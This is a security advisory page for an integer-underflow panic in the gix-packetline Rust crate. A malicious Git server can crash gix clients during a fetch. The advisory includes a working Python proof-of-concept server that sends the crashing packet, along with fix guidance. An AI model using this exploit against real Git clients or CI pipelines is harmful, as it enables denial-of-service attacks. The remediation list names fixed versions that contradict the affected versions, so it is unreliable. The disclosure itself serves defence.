GHSA-2vh6-hw4j-32ww: Integer Underflow

Published Aug 28, 2026
·
Updated

Summary gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

Details In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked splitatmut in gix-packetline/src/blockingio/read.rs is in the same DoS class and worth hardening in the same pass.)

PoC Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.

1. Run a minimal malicious git server on 127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes 0005 + 0x02 - a side-band line of length 5 whose content is the single band-id byte 0x02 with an EMPTY payload:

python import socket HOST, PORT = "127.0.0.1", 9418 def pkt(d): return ("%04x" % (len(d)+4)).encode() + d FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890" def handle(c): c.recv(65536) c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n") +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH) buf=b""; sent=False while True: d=c.recv(65536) if not d: return buf+=d if b"command=ls-refs" in buf and not sent: c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n") +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf): c.sendall(pkt(b"packfile\n") + b"0005\x02") # band id 2, EMPTY payload try: c.recv(4096) except Exception: pass return s=socket.socket(); s.setsockopt(socket.SOLSOCKET,socket.SOREUSEADDR,1) s.bind((HOST,PORT)); s.listen(1); print("listening",PORT) conn,=s.accept(); conn.settimeout(5.0) try: handle(conn) finally: conn.close(); s.close()

2. Point the real client at it: RUSTBACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out

Observed: thread 'main' panicked at gix-packetline/src/lib.rs:199:20: index out of bounds: the len is 0 but the index is 18446744073709551615 exit code: 101 Impact A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

Suggested fix Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.stripsuffix(b"\n").unwrapor(d);, or check !d.isempty() / d.last() == Some(&b'\n') before slicing.

Affected Software

1 affected componentFixes available
rust/gix-packetline<=0.21.4
0.21.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rust/gix-packetline to a version that resolves this vulnerability.

    Fixed in 0.21.5
  2. Upgrade

    Upgrade gix-packetline to a version that resolves this vulnerability.

    Fixed in 0.21.4
  3. Upgrade

    Upgrade gix to a version that resolves this vulnerability.

    Fixed in 0.54.0
  4. Configuration

    In gix-packetline/src/lib.rs where TextRef strips a trailing newline using `d[d.len() - 1]`, change the logic to handle the empty-slice case (e.g., use `let d = d.strip_suffix(b"\n").unwrap_or(d);` or explicitly check `!d.is_empty()` / `d.last() == Some(&b'\n')` before indexing) to prevent usize underflow and panic on attacker-supplied empty payloads.

    gix-packetline (gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef) Trailing-newline stripping logic (d[d.len() - 1] indexing) = Guard empty slice before slicing (only access d[d.len()-1] when d is non-empty)

Event History

Aug 28, 2026
Advisory Published
via GitHub·04:09 PM
Data Sourced
via GitHub·04:09 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this denial of service?

Any application using gix-packetline to fetch from an attacker-controlled or otherwise untrusted Git remote is exposed. A malicious Git server can trigger the failure during a normal fetch.

2

Does exploitation require authentication or prior access?

No. The issue is pre-authentication and network-triggered; the attacker only needs the victim to clone from or fetch an attacker-controlled remote.

3

What condition triggers the panic?

The server must send a side-band packet line containing only the band-id byte, leaving an empty payload after that byte is removed. Processing that empty payload causes an integer underflow and an indexing panic.

4

How can I determine whether my deployment is affected?

The issue was confirmed in gix v0.54.0 with gix-packetline 0.21.4, as well as current main at the time of the report. Review your dependency version and whether it fetches from untrusted remotes.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203